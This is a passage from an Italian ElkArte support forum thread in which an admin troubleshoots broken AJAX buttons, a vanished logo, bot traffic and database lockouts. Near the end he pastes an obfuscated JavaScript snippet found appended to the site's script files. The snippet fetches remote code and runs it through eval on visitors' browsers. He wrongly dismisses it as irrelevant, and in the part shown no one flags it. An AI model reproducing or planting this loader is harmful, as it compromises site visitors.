Italian SMF

Supporto ElkArte => ElkArte 1.0 / 1.1 => Discussione aperta da: berethor il Domenica - 24 Gennaio 2021 - 16:29

Titolo: Citazione e Modifica non funzionano
Inserito da: berethor il Domenica - 24 Gennaio 2021 - 16:29
Ho da ieri un problema con i pulsanti Modifica e Citazione: su fisso il caricamento dopo aver premuto dura all'infinito e su mobile semplicemente è come non averli mai premuti. Sono abbastanza sicuro che anche quello per segnare tutti i post come letti dia lo stesso problema. Poi non so se è legato ma anche il logo del forum è sparito (riconosce però la presenza dell'immagine perchè c'è l'icona della broken image). Ho provato con tutte le funzioni per la manutenzione del forum.

Versione: 1.1.6 - ho però i file di lingua ancora da aggiornare.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Domenica - 24 Gennaio 2021 - 21:07
Domanda classica: hai fatto qualcosa recentemente?
Magari è stato aggiornato php o altro?
Prova aguardare nel log degli errori.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: Darknico il Lunedì - 25 Gennaio 2021 - 09:18
Oppure: sei passato ad https?
vedo molti url (specialmente i javascript che sicuramente sono colpevoli del problema) che sono ancoa sotto http.

Verifica tutti gli url
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Lunedì - 25 Gennaio 2021 - 19:40
Il passaggio a https l'ho fatto ma tempo fa e infatti non avevo avuto problemi. Di recente no, assolutamente nulla.
Il log errori mi segnala un costante errore "non specificato" a questa linea della mod per i Download:

$txt['whoall_downloads'] = 'In the <a href="' . $scripturl . '?action=downloads">Downloads</a>';

Tentando di visualizzare le immagini dei loghi (non ho un solo logo: ho un file rnd.php dal quale vengono caricate diverse immagini) in un'altra scheda ho un errore 403.

Le opzioni sotto il tasto Altre Opzioni vicino Citazione e Modifica funzionano regolarmente. Idem i tasti per gestire i topic tipo Risposta, Sposta, Rimuovi, ecc.

Riguardo https: il certificato era scaduto e l'ho appena rinnovato (non pensavo di poterlo fare -.-). Ho forzato redirect a destra e a manca ma non è cambiato nulla. Devo aspettare qualche giorno?


EDIT: ho disinstallato la mod peri Downloads visto che tutti gli errori sembravano venire da uno o più file ivi presenti e noto che effettivamente tutti gli errori venivano da lì. Dopo la disinst. il log errori non mostra più nulla.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: radu81 il Martedì - 26 Gennaio 2021 - 20:36
Disinstallando la mod hai risolto anche i problemi di quote e modifica veloce?
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Martedì - 26 Gennaio 2021 - 20:58
Citazione di: radu81 il Martedì - 26 Gennaio 2021 - 20:36
Disinstallando la mod hai risolto anche i problemi di quote e modifica veloce?
In realtà solo un problema è stato risolto: posso quotare, ma il tasto modifica ora è proprio sparito. Gli unici pulsanti in basso a destra del post sono ora Citazione e Altre opzioni. Per le immagini logo invece non è cambiato nulla.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Mercoledì - 27 Gennaio 2021 - 00:10
<script src="http://www.ffsaga.it/forum/themes/default/scripts/jquery-3.1.1.min.js" id="jquery"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/elk_jquery_plugins.js?R116" id="elk_jquery_plugins.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/script.js?R116" id="script.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/script_elk.js?R116" id="script_elk.js"></script>
<script src="https://www.ffsaga.it/forum/themes/FFsaga/scripts/theme.js?R116" id="theme.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/snowstorm.min.js?v=1.44" id="snowstorm.min.js"></script>

tutti questi file javascript (ad eccezione di uno) puntano a "http" e non "https", qualsiasi browser decente blocca l'esecuzione dei file e quindi blocca tutto.
Presumibilmente devi correggere le URL del tema di default.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Mercoledì - 27 Gennaio 2021 - 22:32
Fatto. Ho cambiato tutti gli url (credo, non riesco a verificarlo), anche alcuni che erano un po' più infognati, un'oretta fa ma non è cambiato nulla. Dovrei aspettare di più?
Se può aiutare ho avuto modo di notare che questa cosa sembra succedere solo con pulsanti che richiedono un "caricamento rapido", mentre gli altri che richiedono il caricamento di un'altra pagina funzionano regolarmente.

Accade sia con il tema mio che con quello di default. Inoltre ogni pulsante si comporta in maniera "diversa": premendo Citazione c'è un caricamento infinito, con Modifica rapida il caricamento dura un poco ma poi è come se non l'avessi mai premuto, mentre infine "Segna tutto come letto" funziona istantaneamente, ma rimane la finestra di caricamento in alto.

Includo anche le mod installate: Optimus, quella della neve e Google Analytics tracking.

VErsione PHP: 7.3.26
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Giovedì - 28 Gennaio 2021 - 20:13
Riesci a passarmi un account di prova via PM?
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Venerdì - 29 Gennaio 2021 - 23:55
Controlla la configurazione del server, per qualche ragione il content-type è cambiato in text/html; charset=utf-8 da text/xml; charset=UTF-8 che è normalmente.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Sabato - 30 Gennaio 2021 - 17:28
Citazione di: emanuele il Venerdì - 29 Gennaio 2021 - 23:55
Controlla la configurazione del server, per qualche ragione il content-type è cambiato in text/html; charset=utf-8 da text/xml; charset=UTF-8 che è normalmente.
Non so come farlo. Ho provato a vedere dalla scheda server del pannello admin ma non ho trovato nulla in merito.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Sabato - 30 Gennaio 2021 - 18:57
hmm... prova a vedere se c'è la possibiblità di disabilitare la compressione.
Magari è quella che confonde qualcosa.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Sabato - 30 Gennaio 2021 - 19:36
Aggiornamento, poiché mi è stato chiesto da un utente del forum, metto anche qui. Avrei bisogno di consigli anche su quale problema affrontare per primo. La mia situazione odierna è:

è iniziato con pulsanti non funzionanti, poi il logo è sparito dando errore 403 se si tenta di visualizzare l'immagine in un'altra scheda del browser. In seguito la banda utilizzata ha superato la soglia consentita e Alte (il proprietario del sito di hosting) mi ha detto di controllare quali ip si connettevano maggiormente e bannarli (avevo notato che da tempo dei bot strani si connettevano, ma ho pensato fosse una conseguenza del fatto che ho iniziato a pubblicizzare su instagram). Oggi ho di nuovo chiamato Alte dicendogli  che non riesco ad accedere al database anche se so che i dati sono corretti e, ultimo di pochi secondi fa, anche il sito, che è staccato completamente dal forum, non riesce più a connettere con il database. Qui potrebbe essere colpa mia perché ho dovuto cambiare le password, ma visto che pure repair_settings non funziona... immagino che la cosa migliore sia capire il perché causi anche lui un 403? Non sia mai che da solo riesce a mettere tutto a posto.

Non so nemmeno più da che parte girarmi. Siccome mi hanno messo la pulce nell'orecchio: può essere un attacco "hacker"?
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: Flavio93Zena il Sabato - 30 Gennaio 2021 - 20:38
Citazione di: berethor il Sabato - 30 Gennaio 2021 - 19:36
Aggiornamento, poiché mi è stato chiesto da un utente del forum, metto anche qui. Avrei bisogno di consigli anche su quale problema affrontare per primo. La mia situazione odierna è:

è iniziato con pulsanti non funzionanti, poi il logo è sparito dando errore 403 se si tenta di visualizzare l'immagine in un'altra scheda del browser. In seguito la banda utilizzata ha superato la soglia consentita e Alte (il proprietario del sito di hosting) mi ha detto di controllare quali ip si connettevano maggiormente e bannarli (avevo notato che da tempo dei bot strani si connettevano, ma ho pensato fosse una conseguenza del fatto che ho iniziato a pubblicizzare su instagram). Oggi ho di nuovo chiamato Alte dicendogli  che non riesco ad accedere al database anche se so che i dati sono corretti e, ultimo di pochi secondi fa, anche il sito, che è staccato completamente dal forum, non riesce più a connettere con il database. Qui potrebbe essere colpa mia perché ho dovuto cambiare le password, ma visto che pure repair_settings non funziona... immagino che la cosa migliore sia capire il perché causi anche lui un 403? Non sia mai che da solo riesce a mettere tutto a posto.

Non so nemmeno più da che parte girarmi. Siccome mi hanno messo la pulce nell'orecchio: può essere un attacco "hacker"?
Dovresti *davvero* installare bad behaviour, e dovrebbe essere nel core. https://custom.simplemachines.org/mods/index.php?mod=2502
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Domenica - 31 Gennaio 2021 - 18:30
Attualmente vedo:
Citazione509
Bandwidth Limit Exceeded
Quindi qualche bot di troppo ce l'hai di sicuro.

Citazione di: Flavio93Zena il Sabato - 30 Gennaio 2021 - 20:38
Dovresti *davvero* installare bad behaviour, e dovrebbe essere nel core. https://custom.simplemachines.org/mods/index.php?mod=2502
Flavio: siamo nella sezione ElkArte, non SMF. :P
Badbehaviour è già presente in Elk, ma onestamente inizio a pensare che questo vada oltre badbehaviour.

IMO: il logo 403 e gli xml non sono problemi di hacking: hai qualcosa nella configurazione del server o di php che cambia il content-type dei file che servi via php e quindi non vengono visualizzati correttamente. Mi meraviglia che non hai problemi con gli allegati.
I bot... bloccali in qualche modo: se riesci ad identificare un range di ip o uno user agent particolare (attenzione a non bloccare tutti), usare htaccess sarebbe probabilmente la soluzione migliore, perché dopo la bandwidth potrebbero arrivare a saturarti il processore.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: Flavio93Zena il Lunedì - 01 Febbraio 2021 - 00:41
Citazione di: emanuele il Domenica - 31 Gennaio 2021 - 18:30
Flavio: siamo nella sezione ElkArte, non SMF. :P
Badbehaviour è già presente in Elk, ma onestamente inizio a pensare che questo vada oltre badbehaviour.
DERP  :-[

In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Lunedì - 01 Febbraio 2021 - 13:57
Mi chiedevo dove fosse finita quella tua guida sul ban via htaccess :D
Il file si trova nella root del dominio. Va bene lo stesso o deve essere nella cartella del forum?
Inoltre: quali permessi dovrebbe avere il file di repair_settings per essere usato correttamente?

Sono riuscito a trovare dove modificare i dati di accesso e posso di nuovo entrare 8)
Quindi resta da capire in quale file devo andare a toccare per cambiare content-type da text/html a text/xml. O devo fare da phpmyadmin? Ho la stringa sia in "bootstrap.php" che in "subscriptions.php"
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: Darknico il Lunedì - 01 Febbraio 2021 - 15:30
Citazione di: Flavio93Zena il Lunedì - 01 Febbraio 2021 - 00:41
In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)

Flavio, se vuoi ed hai voglia di tradurre quello che hai scritto, puoi mettere la tua guida nella nostra apposita sezione di tips & tricks ;)
https://www.italiansmf.net/forum/index.php?board=38.0
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Lunedì - 01 Febbraio 2021 - 17:29
Citazione di: berethor il Lunedì - 01 Febbraio 2021 - 13:57
Quindi resta da capire in quale file devo andare a toccare per cambiare content-type da text/html a text/xml. O devo fare da phpmyadmin? Ho la stringa sia in "bootstrap.php" che in "subscriptions.php"
No, fermati, non devi toccare niente nei file di Elk.

ETA: ElkArte (come SMF) già manda il corretto content-type al client per ogni pagina generata.
Qui, secondo me, il problema è altrove ed è dovuto a "qualcosa" che altera il content-type dopo che Elk l'ha impostato e inviato, ma prima che questo sia effettivamente passato al client.
Come prima prova, come ho accennato sopra, disabiliterei la compressione. Come e dove, non sono certo. C'è un'opzione anche nel pannello di admin di Elk, prova ad iniziare da lì (non ricordo di preciso dove sia, immagino nella configurazione del server).
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Lunedì - 01 Febbraio 2021 - 18:09
Dal pannello admin è già disabilitata.
Se può aiutare: riguardo il logo credo sia solo il file rnd.php il problema perché provando a mettere una singola immagine, questa si vede senza alcun problema.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: radu81 il Martedì - 02 Febbraio 2021 - 22:35
mi ricordo di avere avuto lo stesso problema in passato, ma non ricordo come ho risolto. Ho cercato tra i miei messaggi su elkarte.net ma non ho trovato nulla...
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: Flavio93Zena il Martedì - 02 Febbraio 2021 - 23:26
Citazione di: Darknico il Lunedì - 01 Febbraio 2021 - 15:30
Citazione di: Flavio93Zena il Lunedì - 01 Febbraio 2021 - 00:41
In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)

Flavio, se vuoi ed hai voglia di tradurre quello che hai scritto, puoi mettere la tua guida nella nostra apposita sezione di tips & tricks ;)
https://www.italiansmf.net/forum/index.php?board=38.0
E' sulla mia lista delle cose da fare dal... Boh, più o meno da quando l'ho scritto xD
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Mercoledì - 03 Febbraio 2021 - 00:17
Citazione di: radu81 il Martedì - 02 Febbraio 2021 - 22:35
mi ricordo di avere avuto lo stesso problema in passato, ma non ricordo come ho risolto. Ho cercato tra i miei messaggi su elkarte.net ma non ho trovato nulla...
I pulsanti malfunzionanti o il logo? O entrambi?

EDIT: il logo è risolto. E' saltato fuori che nel .htaccess del forum c'era una deny from all che io non ho mai inserito -.-

Restano quindi solo i problemi di javascript con i pulsanti. Allego uno screen della console del browser, che ho già postato sul forum di elk.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: emanuele il Giovedì - 04 Febbraio 2021 - 23:01
Citazione di: berethor il Mercoledì - 03 Febbraio 2021 - 00:17
Restano quindi solo i problemi di javascript con i pulsanti. Allego uno screen della console del browser, che ho già postato sul forum di elk.
Che sono quello che ho guardato quando mi sono loggato e che mi hanno fatto pensare che il problema risiede nel "content-type" cambiato "da qualcosa".
Posso reiterare che anche le richieste che dovrebbero essere JSON sono "convertite" in text/html e quindi il browser non le riconosce come appropriate e le ignora (o meglio da errore).

Hai modificato manualmente qualche file?
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Giovedì - 04 Febbraio 2021 - 23:47
Guarda, ti posso dire di no ed è vero, ma a questo punto è valido tutto: stamane il logo era a posto. Motivo del "guasto" la regola "deny from all" presente nell'htaccess, che però nessuno ha toccato. Non ricordo di aver apportato modifiche particolari. Le ultime sono stato disinstallare la neve e installare la nuova versione della lingua italiana. Nessuno di questi 2 pacchetti ha segnalato errori durante l'install.

La stessa regola che aveva "rotto" il logo era quella che causava il 403 con repair_settings, quindi posso utilizzarlo. Stamattina ho provato ma i percorsi sembravano tutti corretti.

Ho provato a confrontare i 2 file .js nominati nell'error log con una loro variante di un backup di dicembre. L'unica differenza è questa stringa alla fine:


;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//ffsaga.it/Importers/elkarte1.0/elkarte1.0.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};


Stringa che però ho trovato anche in post.js (preso a caso), quindi immagino non c'entri.
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: radu81 il Venerdì - 05 Febbraio 2021 - 12:46
Citazione di: berethor il Mercoledì - 03 Febbraio 2021 - 00:17
I pulsanti malfunzionanti o il logo? O entrambi?
Solo citazione e modifica veloce
Titolo: Re:Citazione e Modifica non funzionano
Inserito da: berethor il Sabato - 06 Febbraio 2021 - 01:11
Spuds è riuscito a suggerire un "workaround": https://www.elkarte.net/community/index.php?topic=5934.msg41999#msg41999

Ha funzionato.

Mi è venuto però un dubbio: vuol dire che ad ogni aggiornamento di Elk dovrò modificare quel file, vero?

Inoltre, ieri ho ricevuto comunicazione dall'host che da quel lato è tutto a posto, inviandomi questo screen: https://screens.kgix.net/jc/firefox_INVVVjYHg3.png

Titolo: Re:Citazione e Modifica non funzionano
Inserito da: radu81 il Sabato - 06 Febbraio 2021 - 11:23
Ho visto la risposta su elkarte.net, come ho già detto ho avuto lo stesso problema in passato ma non ho fatto delle modifiche simili per risolvere. Avevo smanettato con repair_settings.php se ricordo bene